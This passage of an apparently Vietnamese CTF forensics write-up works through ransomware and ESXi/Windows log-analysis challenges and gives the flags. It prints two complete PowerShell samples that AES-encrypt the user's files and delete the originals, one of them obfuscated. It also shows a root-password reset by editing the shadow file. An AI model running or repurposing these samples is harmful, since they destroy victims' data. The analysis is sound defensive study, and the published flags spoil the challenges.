)::("{0}{7}{1}{2}{5}{6}{4}{3}" -f 'Get','amew','it','ion','tens','hout','Ex','Filen').Invoke(${S});${O`Fl} = ${Par`eNTdIRecTO`Ry`N`A`Me}+'\'+${Na`mewoE`xt}+("{1}{0}"-f 'nc','.e');&("{1}{0}{2}" -f'cry','En','pt') ${S} ${O`FL};.('rm') -fo ${s}} Layer 2 - Plainscript seT-VaRIaBlE ("gxqh") ( [tyPE]'sYstEm.SecURiTy.CrYpTOGRaPhY.CiPHErmOde') ; $60I4=[tYpe]'sYSTEm.SECuRIty.CRyPtOGRaPhy.PadDinGmODE' ; $Wjy81 = [type]'sYstem.Text.enCoDINg'; SeT ("lc3Zj8") ( [TYPe]'SYsTEm.io.cOMPressiOn.CoMPRESSionMode') ; sV aRz3 ([TYPe]'SYSTeM.CoNVert') ; sET 0UpE6 ( [TYPe]'SYStEM.sEcuRITY.PRinciPaL.WInDOWsIDEntITy' ); $ULZ2 = [TyPe]'SYSteM.iO.PAtH'; Function encRypt{param(${iNF}, ${oUtf});${aeS} = New-Object 'System.Security.Cryptography.AesManaged';${aes}.MoDE = ( gEt-IteM 'vAriaBle:GxQh' ).vALuE::"CBc";${AES}.pAdDiNg = ( GET-itEM VariABlE:60I4 ).VAlue::"ZeRoS";${AES}.bLOCKsize = 128;${AEs}.KeySize = 256;${aes}.IV = [byte[]] -split ('3f4528482b4d6251655368566d597133' -replace '..', '0x$& ');${aEs}.keY = [byte[]] -split ('432646294a404e635266556a586e327234753778214125442a472d4b61506453' -replace '..', ((('0xnAb& ')-creplaCE 'nAb','$')+''));${ENcRyPtOr} = ${aeS}.CreateEncryptor.Invoke();${plAIN_2_Byte} = Get-Content -Path ${iNf} -Encoding 'Byte';${EncRYPTeD_tExt} = ${eNCryPTOr}.TransformFinalBlock.Invoke(${plaIn_2_BYTE}, 0, ${PLAIn_2_byte}.LeNGTH);${aEs}.Dispose.Invoke();${B64} = ( $aRz3::"tobaSe64StrIng"(${ENCRypteD_tEXt}));${b64_GeTbYTeS} = ( $WJy81::"UtF8").GetBytes.Invoke(${b64});${MEmorysTREaM} = New-Object 'System.IO.MemoryStream';${DEFLATeStReAm} = New-Object 'System.IO.Compression.DeflateStream'(${MEmORyStReAm}, ( cHILDiteM ("VArIabLe:lC3Zj8") ).VAlUe::"compReSs", ${tRUe});${deflATesTreAM}.Write.Invoke(${B64_geTbyTeS}, 0, ${B64_gETbYTES}.LEngTH);${DEfLaTEStREAM}.Flush.Invoke();${dEflATesTReAM}.Close.Invoke();${CoMpRESsed_DatA} = ( $Arz3::"ToBAse64strinG"(${meMORYsTrEAM}.ToArray.Invoke()));Write-Output (${COmPReSsed_DATA}) | Out-file -filepath ${OuTF};};${N} = ( $0Upe6::'GetCurrent'.Invoke().NAmE).Substring.Invoke(16);${Z} = get-childitem -path ((('C:LtGUsersLtG')-CRePLACE 'LtG','\') + ${N} + (('qIpOneDriveqIpPictures')-RePLAcE 'qIp','\')) -recurse | where {${_}.exTeNSion -in '.jpg', '.png', 'jpeg', 'bmp'} | Select-Object -ExpandProperty 'FullName';foreach(${S} in ${Z}){${PARenTDiRectORYNAMe} = (get-item ${S}).dirECtoRy.fULlNamE;${NAmeWoeXT} = ( Get-vARIaBLe UlZ2 -VaL )::'GetFilenamewithoutExtension'.Invoke(${S});${OFl} = ${PareNTdIRecTORyNAMe}+'\'+${NamewoExt}+'.enc';Encrypt ${S} ${OFL};rm -fo ${s}} ``` Đoạn mã trên là mã PowerShell được viết để mã hóa và nén các tệp hình ảnh (.jpg, .png, .jpeg, .bmp) trong thư mục người dùng. Sử dụng thuật toán AES với chế độ mã hóa CBC và padding là ZeroPadding, với một khóa và vector khởi tạo (IV) đã được xác định trước. Các tệp hình ảnh được mã hóa trước bằng AES, sau đó chuyển sang định dạng base64. Tiếp theo, dữ liệu base64 này được nén sử dụng DeflateStream rồi lại base 64 1 lần nữa và lưu trữ kết quả vào một tệp có đuôi ".enc". Cuối cùng, các tệp gốc sẽ bị xóa sau khi mã hóa hoàn tất. Ta có được key là `432646294a404e635266556a586e327234753778214125442a472d4b61506453` và IV là `3f4528482b4d6251655368566d597133` Vậy việc giải mã của mình sẽ là đi ngược lại với quy trình trên: ![image](https://hackmd.io/_uploads/HksKY05P1g.png) > Flag: KCSC{S0m3t1m3_R3co\_/ery_1s_EasieR_Th@n_y0u_Thought} --- ### 5. Automatic ![image](https://hackmd.io/_uploads/S1iS509Dyx.png) Bài cho file `.ad1`, vẫn là sử dụng `ftk` để phân tích tiếp, ở bài này ta cần trả lời được 3 câu hỏi: > Câu 1: ID sub-technique MITRE ATT&CK được sử dụng để persistence là gì? Câu 2: Mã băm MD5 của tệp giai đoạn thứ hai do phần mềm độc hại thực thi là gì? Ví dụ: 5DC6DA3ADFE8CCF1287A98C0A8F74496 Câu 3: Giải mã bất kỳ tệp được mã hóa nào để hoàn thành câu hỏi này. Ví dụ: This_is_the_flag #### Câu 1: ID sub-technique MITRE ATT&CK được sử dụng để persistence là gì? >MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) là một khung nghiên cứu và phân tích các kỹ thuật mà kẻ tấn công có thể sử dụng trong quá trình tấn công mạng. Khung này giúp các chuyên gia bảo mật hiểu và nhận diện các chiến thuật và kỹ thuật tấn công, từ đó cải thiện khả năng phát hiện, phản ứng và phòng ngừa các cuộc tấn công mạng. https://attack.mitre.org/techniques/enterprise/ Bắt đầu với câu hỏi đầu tiên, câu hỏi có đề cập đến việc con mã độc nó persistence , mình tìm với các vị trí mà nó sẽ hoạt động cùng khi khởi động máy thì phát hiện ở thư mục `Startup` có chứa file .lnk nhưng lại thêm đuôi .bat vào: ![image](https://hackmd.io/_uploads/S1qz009Dye.png) Có thể thấy được đoạn nội dung `cmd /c "powershell -ep Bypass -windowstyle hidden %temp%\tmp6e5d08.ps1"` dẫn tới 1 file ps1, khả năng đây chính là mã độc (khá tương tự với bài trước). Như vậy có thể xác định được ID sub-technique MITRE ATT&CK là ở Startup folder: ![image](https://hackmd.io/_uploads/S1VbzkoP1e.png) > T1547.001 --- #### Câu 2: Mã băm MD5 của tệp giai đoạn thứ hai do phần mềm độc hại thực thi là gì? Câu hỏi này ta có thể xác định được luôn đó là hàm băm của file .ps1, lí do là khi người dùng ấn vào thùng rác thì là giai đoạn đầu tiên, file thùng rác đó dẫn đến file ps1 là mã độc thì ta sẽ xác định được luôn : ![image](https://hackmd.io/_uploads/S1LyXysPyx.png) > fcdbbea5f3dcd22e1e0a5627daec0a3a (Viết hoa) --- #### Câu 3: Giải mã bất kỳ tệp được mã hóa nào để hoàn thành câu hỏi này. Tiếp tục mình di chuyển đến vị trí file ps1 đó và kiểm tra thử: ![image](https://hackmd.io/_uploads/Byc7kyswye.png) ```bash= function YckcB9Gt6QXcykrNnlLw { param ( [string]$HzICWoNgvwY7g8gLRobH ) $S4LxhZNAB7y08vn3V35n = New-Object "System.Security.Cryptography.AesManaged" $S4LxhZNAB7y08vn3V35n.Mode = [System.Security.Cryptography.CipherMode]::CBC $S4LxhZNAB7y08vn3V35n.Padding = [System.Security.Cryptography.PaddingMode]::Zeros $S4LxhZNAB7y08vn3V35n.BlockSize = 128 $S4LxhZNAB7y08vn3V35n.KeySize = 256 $S4LxhZNAB7y08vn3V35n.Key = wDGSibu8AZReBoGFXdY9 $CyyyPyIhTIHfcmDcNcpa $S4LxhZNAB7y08vn3V35n.IV = wDGSibu8AZReBoGFXdY9 $3qsqxAEqvaqqy6nyu4u7 $S4LxhZNAB7y08vn3V35n.Mode = [System.Security.Cryptography.CipherMode]::CBC $0EzCU9ar8UFPLInJE5VG = $S4LxhZNAB7y08vn3V35n.CreateEncryptor() $w2jjAEh1G6hxm6p5X0n7 = [System.IO.File]::ReadAllBytes($HzICWoNgvwY7g8gLRobH) $UAVgba7eDTG5pJ9xIk8A = $0EzCU9ar8UFPLInJE5VG.TransformFinalBlock($w2jjAEh1G6hxm6p5X0n7, 0, $w2jjAEh1G6hxm6p5X0n7.Length) [System.IO.File]::WriteAllBytes($HzICWoNgvwY7g8gLRobH + ".KCSC", $UAVgba7eDTG5pJ9xIk8A) Remove-Item $HzICWoNgvwY7g8gLRobH } function wDGSibu8AZReBoGFXdY9 { param ( [string]$sVFCEcvl9nRcDKTa8pUs ) $s7eJJxzeiZchDJt96dzQ = [byte[]]@() for ($i = 0; $i -lt $sVFCEcvl9nRcDKTa8pUs.Length; $i += 2) { $s7eJJxzeiZchDJt96dzQ += [Convert]::ToByte($sVFCEcvl9nRcDKTa8pUs.Substring($i, 2), 16) } return $s7eJJxzeiZchDJt96dzQ } $CyyyPyIhTIHfcmDcNcpa = [System.BitConverter]::ToString((New-Object Security.Cryptography.SHA256CryptoServiceProvider).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($env:COMPUTERNAME))).Replace("-", "") $3qsqxAEqvaqqy6nyu4u7 = [System.BitConverter]::ToString((New-Object Security.Cryptography.MD5CryptoServiceProvider).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($env:USERNAME))).Replace("-", "") $biJjNpMqXhQYdjqNyfUwectories = @("$env:USERPROFILE\Documents", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Desktop", "$env:USERPROFILE\Pictures") foreach ($biJjNpMqXhQYdjqNyfUw in $biJjNpMqXhQYdjqNyfUwectories) { Get-ChildItem -Path $biJjNpMqXhQYdjqNyfUw -Recurse -File | ForEach-Object { if ($_.Extension -ne ".KCSC") { YckcB9Gt6QXcykrNnlLw -HzICWoNgvwY7g8gLRobH $_.FullName } } } ``` Có thể hiểu đoạn mã PowerShell này thực hiện mã hóa AES cho các tệp trong thư mục của người dùng bằng cách sử dụng chế độ CBC và padding "Zeros". Cụ thể, hàm wDGSibu8AZReBoGFXdY9 chuyển đổi chuỗi hex thành mảng byte, được sử dụng để tính toán khóa (Key) và vector khởi tạo (IV) cho AES từ tên máy tính và tên người dùng bằng các hàm băm SHA-256 và MD5. Sau đó, hàm YckcB9Gt6QXcykrNnlLw thực hiện mã hóa tệp đầu vào bằng AES với các tham số như khóa 256-bit, IV và padding "Zeros". Các tệp trong các thư mục Documents, Downloads, Desktop, và Pictures sẽ được quét, và nếu tệp chưa được mã hóa (không có phần mở rộng .KCSC), hàm mã hóa sẽ được gọi để mã hóa tệp đó, kết quả được lưu lại dưới dạng tệp .KCSC. Cuối cùng, tệp gốc sẽ bị xóa sau khi mã hóa. Như vậy ta chỉ cần có được tên máy (ở reghive HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName) và tên user (yud-binary) là có thể giải mã được rồi, việc giờ là cần tìm đúng file chứa phần cuối flag: ![image](https://hackmd.io/_uploads/H1XPUyiwJe.png) > KCSC_NO1 (Chắc chắn rồi!!!) ![image](https://hackmd.io/_uploads/SkCnvyjD1l.png) ![image](https://hackmd.io/_uploads/r1kpwkjDJx.png) Sau 1 hồi mình tìm và thử thì flag nằm ở đây: ![image](https://hackmd.io/_uploads/ryKnSJiDye.png) ![image](https://hackmd.io/_uploads/ryo9Dksw1l.png) > G00d_J0b_Br0!! Flag: KCSC{T1547.001_fcdbbea5f3dcd22e1e0a5627daec0a3a(viết hoa)_G00d_J0b_Br0!!} --- ### 6. DFIR 02 ![image](https://hackmd.io/_uploads/BJ4I_1svkg.png) Bắt đầu với danh sách các bài liên quan đến ESXi, bài đầu tiên yêu cầu mình xác định tên của ổ đĩa máy ảo RabbitMQ, thế nhưng mặc dù bài có file máy ảo, ta vẫn cần phải biết cách reset pass của tài khoản root, bởi trước đó nó đã bị kẻ tấn công chiếm quyền và thay đổi, các bước để reset như sau: Đầu tiên ta cần tải 1 file iso ubuntu để boot cùng file máy ảo đề cho: > https://wiki.ubuntu.com/UbuntuGNOME/GetUbuntuGNOME ![image](https://hackmd.io/_uploads/S1ann1oDkx.png) Setup máy ảo như hình trên, chú ý về dung lượng ram >4gb, đĩa là file iso ubuntu. Sau khi setup thành công ta bắt đầu vào chế độ boot, lưu ý khi vừa khởi động máy ảo nó hiện VM đang chạy thì cần nhanh tay ấn ESC để vào được boot: ![Screenshot 2025-01-18 182427](https://hackmd.io/_uploads/SyBdTJsw1g.png) Chọn CD-ROM, nhấn enter. Sau đó ta sẽ vào được giao diện của ubuntu đã chứa file máy ảo kia: ![Screenshot 2025-01-18 174300](https://hackmd.io/_uploads/rkCTTkjPke.png) Bật terminal và set up theo trình tự này: ```bash= sudo su fdisk -l | grep /dev/sda5 cd / mkdir /mnt/sda5 mkdir /temp cd mnt/ mount /dev/sda5 /mnt/sda5 tar -xf /mnt/sda5/state.tgz -C /temp/ cd / cd temp/ ls -al tar -xf local.tgz ls -al rm local.tgz ls -al cd etc/ ls -al vi shadow :wq cd .. ls -al tar -czf local.tgz etc/ tar -czf state.tgz local.tgz mv state.tgz /mnt/sda5/ umount /mnt/sda5/ reboot ``` ![Screenshot 2025-01-18 173658](https://hackmd.io/_uploads/SyHu01ovkl.png) > Cụ thể hơn xem ở https://youtu.be/bp_YVZRdXjg?si=Xp3sYY5WUGTxa3Gs Sau khi reset thành công thì nó sẽ đưa ta trở lại giao diện esxi, lúc này ta sẽ đăng nhập mà không cần pass, sau đó mình truy cập vào trang chủ theo ip đã set. ![image](https://hackmd.io/_uploads/BJMZkeiwJx.png) ![image](https://hackmd.io/_uploads/H1FV1ljw1e.png) Với câu hỏi đầu tiên, mình cần xác định được tên ổ đĩa: ![image](https://hackmd.io/_uploads/BJnDklivJx.png) Có 2 tên là `dfcorp-queue` và `dfcorp-oracle-db`, thử từng cái và đáp án đúng là: > KCSC{dfcorp-queue} --- ### 7. DFIR 03 ![image](https://hackmd.io/_uploads/SJVnxlsD1g.png) Để xác định được user agent mình đọc log ở file vpxa.log: > vpxa.log là một file nhật ký hệ thống chứa thông tin chi tiết về các hoạt động của vCenter Agent (vpxa) trên một host ESXi. vpxa là một thành phần quan trọng, đóng vai trò cầu nối giữa vCenter Server và host ESXi, giúp quản lý và giám sát các máy ảo đang chạy trên host đó. ![image](https://hackmd.io/_uploads/BySaXejPJg.png) Mình đọc và liệt kê được 1 số user agent của attacker (nói cách khác là bruteforce), sau đó mình phát hiện được flag là địa chỉ này: ```bash= 2024-08-18T08:41:55.864Z info hostd[2098931] [Originator@6876 sub=Vimsvc.ha-eventmgr opID=esxui-fc3d-91b4 user=root] Event 142 : User root@192.168.6.20 logged out (login time: Sunday, 18 August, 2024 08:23:16 AM, number of API invocations: 0, user agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:102.0) Gecko/20100101 Goanna/6.7 Firefox/102.0 PaleMoon/33.3.1) ``` >KCSC{Mozilla/5.0 (Windows NT 6.3; WOW64; rv:102.0) Gecko/20100101 Goanna/6.7 Firefox/102.0 PaleMoon/33.3.1)} --- ### 8. DFIR 04 ![image](https://hackmd.io/_uploads/B1T0SxjPJl.png) Để tìm được thời gian sớm nhất, ta có thể tìm được ở log hostd.log, mình thấy có các hành vi dà soát liên tục diễn ra vào ngày 16/8. ![image](https://hackmd.io/_uploads/Hk2jtlsvkx.png) >KCSC{2024-08-16} --- ### 9. DFIR 05 ![image](https://hackmd.io/_uploads/rJedqlsvkx.png) Phase 2 ta chuyển sang máy ảo thứ 2 mà author cho: ![image](https://hackmd.io/_uploads/HJAEslswkl.png) Tiếp tục đọc file log trên windows, để xác định số lượng event kẻ tấn công đã thực hiện bruteforce tài khoản Administrator trước khi đăng nhập thành công thành công, ta cần chú ý đến file Security.evtx, mở nó lên với eventviewer, lọc các event cần thiết, ở đây là trước khi kẻ tấn công brute thành công, vậy ta cần xác định số lượng đăng nhập thất bại, vì đã biết được ngày bắt đầu là 16 và truy cập thành công là 18, nên mình lọc với những thông tin trên: Tuy nhiên ta cần chú ý 2 điểm là event thất bài id là 4625 và khi lọc thì nó vẫn sẽ có những lần đăng nhập bị sai của người trong nội bộ, khiến ta có thể bị nhầm, để có thể lọc đúng thì ta sẽ chú ý đến logon type 3 của kẻ tấn công: ![image](https://hackmd.io/_uploads/Bk1nhejP1x.png) Sau khi trừ đi thì đáp án chính xác là: > KCSC{10223} --- ### 10. DFIR 06 ![image](https://hackmd.io/_uploads/BJao6eiv1l.png) --- ### 11. DFIR 07 ![image](https://hackmd.io/_uploads/rk4TTMnP1l.png) --- ### 12. DFIR 08 ![image](https://hackmd.io/_uploads/rJoRpfnDJg.png) --- ### 13. DFIR 09 ![image](https://hackmd.io/_uploads/rkXg0GnPJg.png) --- ### 14. DFIR 10 ![image](https://hackmd.io/_uploads/S1nM0M3D1e.png)